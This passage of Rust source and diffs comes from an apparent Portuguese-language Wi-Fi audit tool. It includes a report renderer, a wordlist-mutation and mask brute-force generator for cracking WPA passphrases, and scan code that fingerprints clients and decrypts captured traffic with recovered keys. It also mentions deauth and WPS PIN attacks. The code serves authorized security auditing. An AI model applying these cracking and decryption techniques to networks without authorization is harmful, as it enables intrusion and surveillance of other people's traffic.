.chan-row { display: grid; grid-template-columns: 11mm 1fr 12mm 30mm; gap: 2mm; align-items: center; font-size: 8.6pt; padding: 1mm 0; }
.chan-n { font-weight: 600; }
.chan-bar { height: 3.2mm; background: #eef2ef; border-radius: 999px; overflow: hidden; }
.chan-bar i { display: block; height: 100%; background: #b8c8bf; border-radius: 999px; }
.chan-bar i.diff-low { background: linear-gradient(90deg, #1a7f37, #4fae6c); }
.chan-bar i.diff-mid { background: linear-gradient(90deg, #92400e, #c2792e); }
.chan-bar i.diff-high { background: linear-gradient(90deg, #b3261e, #d4635c); }
.chan-best { background: var(--accent-soft); border-radius: 1mm; padding: 1.4mm 2mm; }
.chan-score { text-align: right; font-variant-numeric: tabular-nums; }
.chan-aps { color: var(--muted); font-size: 8pt; }
.mini-tag { display: inline-block; margin-left: 1.5mm; border: .5pt solid var(--line); border-radius: 1mm; padding: 0 1.2mm; font-size: 6.5pt; color: var(--muted); }
.wpa3 { border: 1px solid var(--line); border-left: 1mm solid var(--signal); padding: 4mm 4.5mm; margin-bottom: 3mm; break-inside: avoid; background: #fff; }
.wpa3 header { display: flex; gap: 3mm; align-items: center; margin-bottom: 2mm; }
.wpa3 ul { margin: 2mm 0 0 4mm; padding: 0; }
.wpa3 li { margin-bottom: 1mm; }
.callout { background: var(--accent-soft); border-left: 1mm solid var(--accent); padding: 4mm 4.5mm; margin: 0 0 5mm; }
.callout strong { color: var(--deep); }
.callout.v-bad { background: var(--bad-soft); border-left-color: var(--bad); }
.callout.v-bad strong { color: var(--bad); }
.callout.v-warn { background: var(--warn-soft); border-left-color: var(--warn); }
.callout.v-warn strong { color: var(--warn); }
.callout.v-ok { background: #e6f4ea; border-left-color: #1a7f37; }
.callout.v-ok strong { color: #1a7f37; }
.pagedjs_page { background: #fff; }
.pagedjs_pages { margin: 0 auto; }
@page {
size: A4;
margin: 24mm 16mm 20mm 16mm;
background: #fff;
@top-left { content: "SABIÁ · AUDITORIA WI-FI"; font: 600 7.5pt var(--mono); letter-spacing: .1em; color: var(--faint); vertical-align: bottom; padding-bottom: 4mm; }
@top-center { content: string(section); font: 500 7.5pt var(--mono); letter-spacing: .08em; text-transform: uppercase; color: var(--faint); vertical-align: bottom; padding-bottom: 4mm; text-align: center; }
@top-right { content: "\25CF USO AUTORIZADO"; font: 700 7.5pt var(--mono); letter-spacing: .1em; color: var(--accent); vertical-align: bottom; padding-bottom: 4mm; text-align: right; white-space: nowrap; }
@bottom-left { content: string(footline); font: 400 7.5pt var(--mono); color: var(--faint); vertical-align: top; padding-top: 4mm; }
@bottom-right { content: counter(page) " / " counter(pages); font: 700 8pt var(--mono); color: var(--ink); vertical-align: top; padding-top: 4mm; text-align: right; }
}
@page cover {
margin: 0;
@top-left { content: none; } @top-center { content: none; } @top-right { content: none; }
@bottom-left { content: none; } @bottom-right { content: none; }
}
.doc-meta { string-set: footline attr(data-footline); }
#pagedjs-ignore { display: none; }
@media print { body { background: #fff; } }
"#;
pub fn render(model: &ReportModel, options: ReportOptions) -> String {
let paged = if options.inline_pagedjs {
PAGED_MARKER.to_string()
} else {
"<script src=\"/paged.polyfill.min.js\"></script>".to_string()
};
let stats = &model.stats;
let crackable = model.handshakes.iter().filter(|h| h.crackable).count();
let critical = model
.analysis
.findings
.iter()
.filter(|f| f.severity == "bad")
.count();
let warnings = model
.analysis
.findings
.iter()
.filter(|f| f.severity == "warn")
.count();
let date = format_unix(model.generated_unix);
let title = if model.title.is_empty() {
"Relatório de auditoria Wi-Fi".to_string()
} else {
model.title.clone()
};
let logo_data_uri = format!("data:image/png;base64,{}", base64(LOGO_PNG));
let footline = format!("Uso autorizado · gerado em {date}");
let overall = if critical > 0 {
"bad"
} else if warnings > 0 {
"warn"
} else {
"ok"
};
format!(
r##"<!doctype html>
<html lang="pt-BR">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{title}</title>
<style>{css}</style>
{paged}
</head>
<body>
<div class="doc-meta" data-footline="{footline}"></div>
<main class="report">
<section class="cover">
<div class="top">
<div class="brand"><img src="{logo}" alt=""><span>Sabiá</span></div>
<span class="badge">Uso autorizado</span>
</div>
<div class="mid">
<p class="eyebrow">Relatório de auditoria · redes sem fio</p>
<h1>{title}</h1>
<p class="lead">Achados de configuração, canais, clientes, handshakes e trilha de auditoria da captura, com verificação criptográfica — nenhuma senha é inventada.</p>
</div>
<div>
<dl class="meta">
<div><dt>Interface</dt><dd class="mono">{iface}</dd></div>
<div><dt>Gerado em</dt><dd>{date}</dd></div>
<div><dt>Versão do Sabiá</dt><dd>{version}</dd></div>
<div><dt>Captura</dt><dd>{capture_state}</dd></div>
</dl>
<p class="foot">Documento gerado localmente. Use somente em redes próprias ou com autorização explícita do responsável. Cada ação ativa fica registrada na trilha de auditoria encadeada por hash (seção final).</p>
</div>
</section>
<section class="toc">
<h2>Sumário</h2>
<ol>
<li><a href="#sec-exec"><span class="n">01</span> Sumário executivo</a></li>
<li><a href="#sec-findings"><span class="n">02</span> Achados</a></li>
<li><a href="#sec-channels"><span class="n">03</span> Canais e interferência</a></li>
<li><a href="#sec-aps"><span class="n">04</span> Redes observadas</a></li>
<li><a href="#sec-clients"><span class="n">05</span> Clientes</a></li>
<li><a href="#sec-hs"><span class="n">06</span> Handshakes e PMKID</a></li>
<li><a href="#sec-wpa3"><span class="n">07</span> WPA3 e PMF</a></li>
<li><a href="#sec-audit"><span class="n">08</span> Trilha de auditoria</a></li>
<li><a href="#sec-method"><span class="n">09</span> Metodologia e limites</a></li>
</ol>
</section>
<section class="chapter" id="sec-exec">
<h2>Sumário executivo</h2>
<div class="stats">
{stat_aps}{stat_clients}{stat_hs}{stat_crackable}
</div>
<div class="callout v-{overall}"><strong>{critical} achado(s) crítico(s) e {warnings} de atenção.</strong> O relatório lista as redes por segurança anunciada, os canais com menor interferência e o material de handshake disponível para verificação de senha.</div>
<p>{summary}</p>
<h3 style="margin-top:8mm">Escopo observado</h3>
<p class="muted">Captura em {iface}, com {frames} quadros processados, {eapol} EAPOL e {deauth} quadros de desautenticação/desassociação. Os dados refletem apenas o que foi visto no ar durante a sessão; não há varredura ativa além das ações listadas na auditoria.</p>
</section>
<section class="chapter" id="sec-findings">
<h2>Achados</h2>
{findings}
</section>
<section class="chapter" id="sec-channels">
<h2>Canais e interferência</h2>
<p class="desc">Pontuação menor é melhor. O cálculo pondera sobreposição espectral e intensidade de cada AP; em 2,4 GHz a recomendação fica restrita a 1, 6 e 11.</p>
{channels}
</section>
<section class="chapter" id="sec-aps">
<h2>Redes observadas</h2>
{aps}
</section>
<section class="chapter" id="sec-clients">
<h2>Clientes</h2>
<p class="desc">Exibindo até 120 estações ordenadas por volume de quadros.</p>
{clients}
</section>
<section class="chapter" id="sec-hs">
<h2>Handshakes e PMKID</h2>
{handshakes}
<p class="muted">Handshakes com senha encontrada aparecem com o valor em texto; os demais podem ser exportados em .pcap ou .hc22000 na interface.</p>
</section>
<section class="chapter" id="sec-wpa3">
<h2>WPA3 e PMF</h2>
{wpa3}
</section>
<section class="chapter" id="sec-audit">
<h2>Trilha de auditoria</h2>
<p class="desc">Últimas 60 entradas, com hash encadeado. A verificação completa fica disponível na interface.</p>
{audit}
</section>
<section class="chapter" id="sec-method">
<h2>Metodologia e limites</h2>
<p>O Sabiá opera em modo monitor, agrega beacons, respostas de probe, associação e EAPOL, e só injeta quadros quando uma ação é confirmada na interface. A análise de canais é uma estimativa de sobreposição, não uma medição de espectro por SDR. A detecção de evil twin é heurística: nomes iguais com seguranças diferentes e rajadas de gerenciamento merecem verificação manual.</p>
<p>O teste de PMF observa reassociação após desautenticação; um resultado inconclusivo não prova que o PMF está ativo. O ataque WPS depende de reaver/bully instalados e de o AP aceitar PIN. Nenhuma senha é inventada: handshakes só aparecem como quebrados quando a verificação criptográfica local confirma a candidata.</p>
<p class="muted">Relatório gerado pelo Sabiá {version} em {date}.</p>
</section>
</main>
<script>
(function () {{
function ready() {{
try {{
parent.postMessage({{ type: 'sabia-report-ready', pages: document.querySelectorAll('.pagedjs_page').length }}, '*');
}} catch (_) {{}}
}}
if (window.PagedPolyfill && window.PagedPolyfill.preview) {{
window.PagedPolyfill.preview().then(ready).catch(ready);
}} else {{
window.addEventListener('load', ready);
}}
window.addEventListener('message', function (event) {{
if (event.data && event.data.type === 'sabia-report-print') window.print();
}});
}})();
</script>
</body>
</html>"##,
title = esc(&title),
css = CSS,
paged = paged,
logo = logo_data_uri,
footline = esc(&footline),
iface = esc(&model.iface),
date = esc(&date),
version = esc(&model.version),
capture_state = if model.running {
"em andamento"
} else {
"encerrada"
},
stat_aps = stat_card(stats.aps, "redes", ""),
stat_clients = stat_card(stats.clients, "clientes", ""),
stat_hs = stat_card(stats.handshakes, "handshakes", ""),
stat_crackable = stat_card(
crackable,
"quebráveis",
if crackable > 0 { "bad" } else { "" }
),
overall = overall,
critical = critical,
warnings = warnings,
summary = summary_html(model),
frames = stats.frames,
eapol = stats.eapol_frames,
deauth = stats.deauth_frames,
findings = findings_html(model),
channels = channels_html(model),
aps = aps_html(model),
clients = clients_html(model),
handshakes = handshakes_html(model),
wpa3 = wpa3_html(model),
audit = audit_html(model),
)
}
fn summary_html(model: &ReportModel) -> String {
let open = model
.access_points
.iter()
.filter(|a| a.security.as_deref() == Some("Open"))
.count();
let wps = model.access_points.iter().filter(|a| a.wps).count();
let no_pmf = model
.access_points
.iter()
.filter(|a| {
!a.pmf
&& matches!(
a.security.as_deref(),
Some("WPA2") | Some("WPA2-EAP") | Some("WPA2/WPA3")
)
})
.count();
let mut parts = Vec::new();
parts.push(format!(
"Foram observadas {} redes e {} estações.",
model.stats.aps, model.stats.clients
));
if open > 0 {
parts.push(format!("{open} rede(s) aberta(s)"));
}
if wps > 0 {
parts.push(format!("{wps} com WPS anunciado"));
}
if no_pmf > 0 {
parts.push(format!("{no_pmf} sem PMF em WPA2"));
}
if model.stats.handshakes > 0 {
parts.push(format!(
"{} handshake(s)/PMKID capturado(s)",
model.stats.handshakes
));
}
format!("{}.", parts.join("; "))
}
#[cfg(test)]
mod tests {
use super::*;
use crate::analysis::Analysis;
use crate::scan::ScanStats;
fn model() -> ReportModel {
ReportModel {
title: "Teste".into(),
version: "0.1.0".into(),
iface: "wlan0mon".into(),
running: false,
generated_unix: 1_700_000_000,
stats: ScanStats::default(),
access_points: Vec::new(),
clients: Vec::new(),
handshakes: Vec::new(),
analysis: Analysis::default(),
audit: Vec::new(),
}
}
#[test]
fn renders_escaped_standalone_html() {
let mut m = model();
m.title = "Rede <x>".into();
let html = render(&m, ReportOptions::default());
assert!(html.contains("Rede &lt;x&gt;"));
assert!(html.contains("paged.polyfill.min.js"));
assert!(html.contains("@page"));
}
#[test]
fn renders_cover_toc_and_section_anchors() {
let html = render(&model(), ReportOptions::default());
assert!(html.contains("class=\"cover\""));
assert!(html.contains("data:image/png;base64,"));
assert!(html.contains("class=\"toc\""));
assert!(html.contains("href=\"#sec-exec\""));
assert!(html.contains("id=\"sec-exec\""));
assert!(html.contains("id=\"sec-method\""));
}
#[test]
fn base64_matches_known_vectors() {
// RFC 4648 test vectors.
assert_eq!(base64(b""), "");
assert_eq!(base64(b"f"), "Zg==");
assert_eq!(base64(b"fo"), "Zm8=");
assert_eq!(base64(b"foo"), "Zm9v");
assert_eq!(base64(b"foob"), "Zm9vYg==");
assert_eq!(base64(b"fooba"), "Zm9vYmE=");
assert_eq!(base64(b"foobar"), "Zm9vYmFy");
}
#[test]
fn inline_option_uses_placeholder() {
let html = render(
&model(),
ReportOptions {
inline_pagedjs: true,
},
);
assert!(html.contains(PAGED_MARKER));
}
#[test]
fn formats_dates() {
assert_eq!(format_unix(0), "—");
assert!(format_unix(1_700_000_000).ends_with("UTC"));
}
}
+232
View File
@@ -0,0 +1,232 @@
//! Regras de mutação sobre uma palavra do dicionário (estilo hashcat `-r`,
//! bem mais simples) e força bruta por máscara (estilo hashcat `-a 3`).
//!
//! Em quebra de hash normal, regras são "de graça" — um hash SHA256 custa
//! nanossegundos. Aqui não: cada candidato é um PBKDF2-HMAC-SHA1 de 4096
//! iterações, então cada variante multiplica o tempo de verdade. As regras
//! abaixo cobrem os padrões mais comuns (maiúscula inicial, sufixo numérico,
//! leet simples) sem explodir pra centenas de variantes por palavra.
/// Quantas variantes [`expand`] gera por palavra base (pra calcular o
/// multiplicador de tempo antes de rodar).
pub const VARIANTS_PER_WORD: usize = 1 + 1 + 1 + SUFFIXES.len() + LEET_PAIRS.len();
const SUFFIXES: &[&str] = &[
"1", "12", "123", "1234", "12345", "123456", "01", "007", "99", "2023", "2024", "2025", "!",
"@", "#",
];
/// (char original, substituto) — leet simples, uma troca por vez, não
/// combinada, senão a combinatória explode rápido demais.
const LEET_PAIRS: &[(char, char)] = &[('a', '@'), ('e', '3'), ('i', '1'), ('o', '0'), ('s', '$')];
/// Gera as variantes de `word` (incluindo a palavra original) que respeitam
/// o comprimento válido de WPA (8–63), sem duplicatas.
pub fn expand(word: &str) -> Vec<String> {
let mut out = Vec::with_capacity(VARIANTS_PER_WORD);
let mut push = |s: String| {
let len = s.chars().count();
if (8..=63).contains(&len) && !out.contains(&s) {
out.push(s);
}
};
push(word.to_string());
if let Some(first) = word.chars().next() {
let capitalized: String = first.to_uppercase().chain(word.chars().skip(1)).collect();
push(capitalized);
}
push(word.to_uppercase());
for suffix in SUFFIXES {
push(format!("{word}{suffix}"));
}
for (from, to) in LEET_PAIRS {
if word.contains(*from) {
push(word.replace(*from, &to.to_string()));
}
}
out
}
/// Classe de caractere de um token `?x` de máscara (sintaxe hashcat: `?d`
/// dígito, `?l` minúscula, `?u` maiúscula, `?s` símbolo comum, `?a` os
/// quatro juntos). `??` escapa um `?` literal.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum CharClass {
Digit,
Lower,
Upper,
Symbol,
All,
Literal(char),
}
const DIGITS: &str = "0123456789";
const LOWER: &str = "abcdefghijklmnopqrstuvwxyz";
const UPPER: &str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const SYMBOLS: &str = "!@#$%&*_-";
impl CharClass {
fn alphabet(self) -> String {
match self {
CharClass::Digit => DIGITS.to_string(),
CharClass::Lower => LOWER.to_string(),
CharClass::Upper => UPPER.to_string(),
CharClass::Symbol => SYMBOLS.to_string(),
CharClass::All => format!("{DIGITS}{LOWER}{UPPER}{SYMBOLS}"),
CharClass::Literal(c) => c.to_string(),
}
}
}
/// Máscara compilada: uma lista de alfabetos, um por posição. Gera
/// candidatos por índice (contagem em base mista) sem materializar a lista
/// inteira — essencial, já que `?d?d?d?d?d?d?d?d` sozinho são 100 milhões.
#[derive(Debug, Clone)]
pub struct Mask {
alphabets: Vec<Vec<char>>,
}
impl Mask {
/// Compila uma máscara tipo `wifi?d?d?d?d` (literal "wifi" + 4 dígitos).
/// `??` é um `?` literal; `?` seguido de letra desconhecida é erro.
pub fn parse(pattern: &str) -> Result<Self, String> {
let mut alphabets = Vec::new();
let mut chars = pattern.chars().peekable();
while let Some(c) = chars.next() {
let class = if c == '?' {
match chars.next() {
Some('d') => CharClass::Digit,
Some('l') => CharClass::Lower,
Some('u') => CharClass::Upper,
Some('s') => CharClass::Symbol,
Some('a') => CharClass::All,
Some('?') => CharClass::Literal('?'),
Some(other) => return Err(format!("classe de máscara desconhecida: ?{other}")),
None => return Err("máscara termina com '?' sem classe".into()),
}
} else {
CharClass::Literal(c)
};
alphabets.push(class.alphabet().chars().collect());
}
if alphabets.is_empty() {
return Err("máscara vazia".into());
}
if alphabets.len() > 63 {
return Err("máscara maior que o limite de uma senha WPA (63)".into());
}
Ok(Self { alphabets })
}
/// Total de candidatos. `None` se não couber num `u64` (máscara longa
/// demais pra ser levada a sério de qualquer forma).
pub fn total(&self) -> Option<u64> {
self.alphabets
.iter()
.try_fold(1u64, |acc, a| acc.checked_mul(a.len() as u64))
}
pub fn len(&self) -> usize {
self.alphabets.len()
}
pub fn is_empty(&self) -> bool {
self.alphabets.is_empty()
}
/// Candidato de índice `index` (contagem em base mista, como um
/// odômetro: a última posição gira mais rápido). `None` se `index` >=
/// `total()`.
pub fn candidate(&self, mut index: u64) -> Option<String> {
let total = self.total()?;
if index >= total {
return None;
}
let mut chars = vec!['\0'; self.alphabets.len()];
for i in (0..self.alphabets.len()).rev() {
let base = self.alphabets[i].len() as u64;
let digit = (index % base) as usize;
chars[i] = self.alphabets[i][digit];
index /= base;
}
Some(chars.into_iter().collect())
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn expand_respects_min_length() {
let variants = expand("senha");
// "senha" tem 5 chars; sozinha não é candidata WPA válida (precisa
// de 8+), mas com sufixo (ex.: "senha123", 8) sim.
assert!(!variants.iter().any(|v| v == "senha"));
assert!(variants.contains(&"senha123".to_string()));
}
#[test]
fn expand_includes_original_when_long_enough() {
let variants = expand("abacaxi1");
assert!(variants.contains(&"abacaxi1".to_string()));
}
#[test]
fn expand_applies_capitalization_suffix_and_leet() {
let variants = expand("abacaxi1");
assert!(variants.contains(&"Abacaxi1".to_string()));
assert!(variants.contains(&"ABACAXI1".to_string()));
assert!(variants.contains(&"abacaxi1123".to_string()));
// leet troca TODAS as ocorrências de 'a': as três em "abacaxi1".
assert!(variants.contains(&"@b@c@xi1".to_string()));
}
#[test]
fn expand_has_no_duplicates() {
let variants = expand("12345678");
let mut sorted = variants.clone();
sorted.sort();
sorted.dedup();
assert_eq!(variants.len(), sorted.len());
}
#[test]
fn mask_parses_literals_and_classes() {
let mask = Mask::parse("wifi?d?d?d?d").expect("máscara válida");
assert_eq!(mask.len(), 8);
assert_eq!(mask.total(), Some(10_000));
assert_eq!(mask.candidate(0).as_deref(), Some("wifi0000"));
assert_eq!(mask.candidate(9_999).as_deref(), Some("wifi9999"));
assert_eq!(mask.candidate(10_000), None);
}
#[test]
fn mask_literal_question_mark_and_unknown_class() {
// "??" vira um '?' literal; os dois primeiros chars são consumidos
// juntos, então "???d" é: '?' literal + "?d" (classe dígito).
assert_eq!(
Mask::parse("???d").unwrap().candidate(0).as_deref(),
Some("?0")
);
assert!(Mask::parse("?z").is_err());
assert!(Mask::parse("").is_err());
}
#[test]
fn mask_covers_every_combination_exactly_once() {
let mask = Mask::parse("?d?l").expect("máscara válida");
let total = mask.total().unwrap();
assert_eq!(total, 10 * 26);
let mut seen = std::collections::HashSet::new();
for i in 0..total {
seen.insert(mask.candidate(i).unwrap());
}
assert_eq!(seen.len() as u64, total);
}
}
+305 -2
View File
@@ -4,7 +4,7 @@
use crate::dot11::{self, FrameKind, Security};
use crate::handshake::{Handshake, HandshakeInfo, HandshakeTracker};
use crate::radiotap::{self, Band};
use std::collections::HashMap;
use std::collections::{HashMap, VecDeque};
use std::time::{SystemTime, UNIX_EPOCH};
#[derive(Debug, Clone, serde::Serialize)]
@@ -19,7 +19,21 @@ pub struct AccessPoint {
pub cipher: Option<String>,
pub akm: Vec<String>,
pub pmf: bool,
pub pmf_required: bool,
pub wps: bool,
pub wps_locked: Option<bool>,
pub wps_version: Option<String>,
pub wps_manufacturer: Option<String>,
pub wps_model: Option<String>,
pub wps_model_number: Option<String>,
pub wps_device_name: Option<String>,
pub wps_serial: Option<String>,
pub vendor: Option<String>,
pub country: Option<String>,
pub phy: Vec<String>,
pub width_mhz: Option<u16>,
pub beacon_interval: Option<u16>,
pub privacy: bool,
pub signal_dbm: Option<i8>,
pub max_signal_dbm: Option<i8>,
pub beacons: u64,
@@ -29,9 +43,33 @@ pub struct AccessPoint {
pub last_seen_unix: u64,
}
#[derive(Debug, Clone, serde::Serialize)]
pub struct SignalSample {
pub t: u64,
pub dbm: i8,
}
#[derive(Debug, Clone, serde::Serialize)]
pub struct ClientEvent {
pub t: u64,
pub kind: String,
pub detail: Option<String>,
}
#[derive(Debug, Clone, serde::Serialize)]
pub struct Client {
pub mac: String,
/// Nome curto para exibir: hostname, nome WPS, modelo ou fabricante.
pub display_name: Option<String>,
pub vendor: Option<String>,
pub manufacturer: Option<String>,
pub model: Option<String>,
pub device_name: Option<String>,
pub hostname: Option<String>,
pub ip: Option<String>,
pub os: Option<String>,
pub device: Option<String>,
pub random_mac: bool,
pub bssid: Option<String>,
pub signal_dbm: Option<i8>,
pub max_signal_dbm: Option<i8>,
@@ -40,6 +78,11 @@ pub struct Client {
pub associated: bool,
pub first_seen_unix: u64,
pub last_seen_unix: u64,
/// Amostras de sinal (mais antiga primeiro), limitadas para não crescer
/// sem fim numa captura longa.
pub signal_history: Vec<SignalSample>,
/// Linha do tempo curta: primeiro visto, probe, associação, desautenticação.
pub events: Vec<ClientEvent>,
}
#[derive(Debug, Clone, Copy, Default)]
@@ -58,6 +101,17 @@ pub struct ScanSnapshot {
pub access_points: Vec<AccessPoint>,
pub clients: Vec<Client>,
pub handshakes: Vec<HandshakeInfo>,
pub analysis: crate::analysis::Analysis,
/// Preenchido quando a captura morreu sozinha (erro de I/O, adaptador
/// caiu da USB, etc.) — `running` já vem `false` nesse caso, mas sem
/// isso a UI não tinha como dizer *por quê* parou.
pub error: Option<String>,
/// Preenchido quando a captura está rodando mas não recebeu nenhum
/// quadro depois de um tempo razoável saltando canais — sintoma de uma
/// placa que aceita ativar o modo monitor (o netlink não recusa) mas não
/// entrega quadro nenhum de verdade. Comum em placas Wi-Fi internas de
/// notebook; diferente de `error`, a sessão continua `running`.
pub warning: Option<String>,
}
#[derive(Debug, Clone, Copy, Default, serde::Serialize)]
@@ -78,6 +132,7 @@ pub struct ScanTable {
frames: u64,
eapol_frames: u64,
deauth_frames: u64,
deauth_times: VecDeque<u64>,
}
impl ScanTable {
@@ -129,7 +184,21 @@ impl ScanTable {
cipher: None,
akm: Vec::new(),
pmf: false,
pmf_required: false,
wps: false,
wps_locked: None,
wps_version: None,
wps_manufacturer: None,
wps_model: None,
wps_model_number: None,
wps_device_name: None,
wps_serial: None,
vendor: crate::oui::vendor(&bssid).map(str::to_string),
country: None,
phy: Vec::new(),
width_mhz: None,
beacon_interval: None,
privacy: false,
signal_dbm: None,
max_signal_dbm: None,
beacons: 0,
@@ -155,7 +224,24 @@ impl ScanTable {
ap.cipher = info.cipher.clone();
ap.akm = info.akm.clone();
ap.pmf = info.pmf;
ap.pmf_required = info.pmf_required;
ap.wps = info.wps;
if info.wps {
ap.wps_locked = info.wps_locked;
ap.wps_version = info.wps_version.clone();
ap.wps_manufacturer = info.wps_manufacturer.clone();
ap.wps_model = info.wps_model.clone();
ap.wps_model_number = info.wps_model_number.clone();
ap.wps_device_name = info.wps_device_name.clone();
ap.wps_serial = info.wps_serial.clone();
}
ap.country = info.country.clone().or(ap.country.take());
if !info.phy.is_empty() {
ap.phy = info.phy.clone();
}
ap.width_mhz = info.width_mhz.or(ap.width_mhz);
ap.beacon_interval = info.beacon_interval.or(ap.beacon_interval);
ap.privacy = info.privacy;
ap.signal_dbm = rt.signal_dbm;
if let Some(sig) = rt.signal_dbm {
ap.max_signal_dbm = Some(ap.max_signal_dbm.map_or(sig, |m| m.max(sig)));
@@ -174,11 +260,19 @@ impl ScanTable {
let info = frame.management_info();
let c = self.touch_client(&client, now, rt.signal_dbm);
c.packets += 1;
apply_management_identity(c, &info);
if let Some(ssid) = info.ssid.filter(|s| !s.is_empty()) {
if !c.probes.contains(&ssid) {
c.probes.push(ssid);
c.probes.push(ssid.clone());
c.events.push(ClientEvent {
t: now,
kind: "probe".into(),
detail: Some(ssid),
});
trim_events(c);
}
}
refresh_identity(c);
}
FrameKind::AssociationRequest => {
let client = frame.src_str();
@@ -187,10 +281,22 @@ impl ScanTable {
.map(|m| dot11::mac_to_string(&m))
.or_else(|| frame.bssid_str());
if let (Some(client), Some(bssid)) = (client, bssid) {
let info = frame.management_info();
let c = self.touch_client(&client, now, rt.signal_dbm);
c.packets += 1;
apply_management_identity(c, &info);
refresh_identity(c);
let was = c.associated;
c.bssid = Some(bssid.clone());
c.associated = true;
if !was {
c.events.push(ClientEvent {
t: now,
kind: "associate".into(),
detail: Some(bssid.clone()),
});
trim_events(c);
}
if let Some(ap) = self.aps.get_mut(&bssid) {
if !ap.clients.contains(&client) {
ap.clients.push(client);
@@ -211,10 +317,43 @@ impl ScanTable {
};
if let (Some(client), Some(bssid)) = (client.clone(), bssid.clone()) {
if client != bssid {
// Calculado antes do touch_client: a TK vem de self.handshakes, e
// o borrow checker não deixa consultar isso com `c` (borrow de
// self.clients) vivo ao mesmo tempo.
let tk = (frame.protected && frame.to_ds && !frame.from_ds)
.then(|| self.handshakes.tk_for(&bssid, &client))
.flatten();
let c = self.touch_client(&client, now, rt.signal_dbm);
c.packets += 1;
if frame.to_ds && !frame.from_ds {
if frame.protected {
// Só decifra se já quebramos a senha e vimos o handshake
// DESSE cliente — a PTK é por associação, então a senha da
// rede sozinha não abre tráfego de quem não foi capturado.
if let Some(plain) = tk.and_then(|tk| frame.ccmp_payload(&tk)) {
let payload = dot11::payload_info_from_llc(&plain);
apply_payload_identity(c, &payload);
}
} else {
let payload = frame.payload_info();
apply_payload_identity(c, &payload);
}
}
// Sempre recalcula o nome de exibição, mesmo em quadros AP→estação
// (downlink): sem isso, um cliente só visto recebendo dados nunca
// ganhava o fallback para o fabricante (OUI), ficando só com o MAC.
refresh_identity(c);
let was = c.associated;
c.bssid = Some(bssid.clone());
c.associated = true;
if !was {
c.events.push(ClientEvent {
t: now,
kind: "associate".into(),
detail: Some(bssid.clone()),
});
trim_events(c);
}
if let Some(ap) = self.aps.get_mut(&bssid) {
ap.data_frames += 1;
if !ap.clients.contains(&client) {
@@ -238,6 +377,14 @@ impl ScanTable {
}
FrameKind::Deauth | FrameKind::Disassoc => {
self.deauth_frames += 1;
self.deauth_times.push_back(now);
while self
.deauth_times
.front()
.is_some_and(|t| now.saturating_sub(*t) > 60)
{
self.deauth_times.pop_front();
}
event.deauth = true;
let a1 = frame.addr1.map(|m| dot11::mac_to_string(&m));
let a2 = frame.addr2.map(|m| dot11::mac_to_string(&m));
@@ -249,6 +396,14 @@ impl ScanTable {
};
if let Some(client) = client {
if let Some(c) = self.clients.get_mut(&client) {
if c.associated {
c.events.push(ClientEvent {
t: now,
kind: "deauth".into(),
detail: bssid.clone(),
});
trim_events(c);
}
c.associated = false;
c.last_seen_unix = now;
}
@@ -266,6 +421,16 @@ impl ScanTable {
.entry(mac.to_string())
.or_insert_with(|| Client {
mac: mac.to_string(),
display_name: None,
vendor: crate::oui::vendor(mac).map(str::to_string),
manufacturer: None,
model: None,
device_name: None,
hostname: None,
ip: None,
os: None,
device: None,
random_mac: is_random_mac(mac),
bssid: None,
signal_dbm: None,
max_signal_dbm: None,
@@ -274,15 +439,49 @@ impl ScanTable {
associated: false,
first_seen_unix: now,
last_seen_unix: now,
signal_history: Vec::new(),
events: vec![ClientEvent {
t: now,
kind: "first_seen".into(),
detail: None,
}],
});
c.last_seen_unix = now;
c.signal_dbm = signal;
if let Some(sig) = signal {
c.max_signal_dbm = Some(c.max_signal_dbm.map_or(sig, |m| m.max(sig)));
let should_push = c
.signal_history
.last()
.map_or(true, |s| s.t != now || s.dbm != sig);
if should_push {
c.signal_history.push(SignalSample { t: now, dbm: sig });
if c.signal_history.len() > 60 {
let drop = c.signal_history.len() - 60;
c.signal_history.drain(0..drop);
}
}
}
// Já dá o fallback pro fabricante (OUI) desde o primeiro avistamento,
// antes de qualquer quadro de gerenciamento/dados chegar a chamar
// refresh_identity de novo.
if c.display_name.is_none() {
refresh_identity(c);
}
c
}
pub fn analysis(&self) -> crate::analysis::Analysis {
let now = unix_now();
let aps = self.access_points();
let deauth = self.deauth_times.len() as u32;
crate::analysis::analyze(&aps, deauth, now)
}
pub fn deauth_60s(&self) -> u32 {
self.deauth_times.len() as u32
}
pub fn access_points(&self) -> Vec<AccessPoint> {
let mut v: Vec<_> = self.aps.values().cloned().collect();
v.sort_by(|a, b| {
@@ -337,6 +536,102 @@ impl ScanTable {
}
}
fn is_random_mac(mac: &str) -> bool {
let Some(first) = mac.split(':').next() else {
return false;
};
u8::from_str_radix(first, 16)
.map(|b| b & 0x02 != 0 && b & 0x01 == 0)
.unwrap_or(false)
}
fn apply_management_identity(c: &mut Client, info: &dot11::ManagementInfo) {
if let Some(name) = info.wps_device_name.as_deref().filter(|s| !s.is_empty()) {
c.device_name = Some(name.to_string());
}
if let Some(manufacturer) = info.wps_manufacturer.as_deref().filter(|s| !s.is_empty()) {
c.manufacturer = Some(manufacturer.to_string());
}
if let Some(model) = info.wps_model.as_deref().filter(|s| !s.is_empty()) {
c.model = Some(model.to_string());
}
if let Some(hint) = c.device_name.as_deref().or(c.model.as_deref()) {
if let Some(device) = dot11::device_from_text(hint) {
c.device = Some(device);
}
if let Some(os) = dot11::os_from_text(hint) {
c.os = Some(os);
}
}
}
fn apply_payload_identity(c: &mut Client, info: &dot11::PayloadInfo) {
if let Some(ip) = &info.ip {
c.ip = Some(ip.clone());
}
if let Some(hostname) = &info.hostname {
if !hostname.is_empty() {
c.hostname = Some(hostname.clone());
}
}
if let Some(manufacturer) = &info.manufacturer {
c.manufacturer = c.manufacturer.take().or_else(|| Some(manufacturer.clone()));
}
if let Some(model) = &info.model {
c.model = Some(model.clone());
}
if let Some(os) = &info.os {
c.os = Some(os.clone());
}
if let Some(device) = &info.device {
c.device = Some(device.clone());
}
if let Some(hint) = c.hostname.as_deref().or(c.device_name.as_deref()) {
if c.os.is_none() {
c.os = dot11::os_from_text(hint);
}
if c.device.is_none() {
c.device = dot11::device_from_text(hint);
}
}
}
fn refresh_identity(c: &mut Client) {
if c.manufacturer.is_none() {
c.manufacturer = c.vendor.clone();
}
if c.os.is_none() {
c.os = c
.hostname
.as_deref()
.or(c.device_name.as_deref())
.or(c.model.as_deref())
.and_then(dot11::os_from_text);
}
if c.device.is_none() {
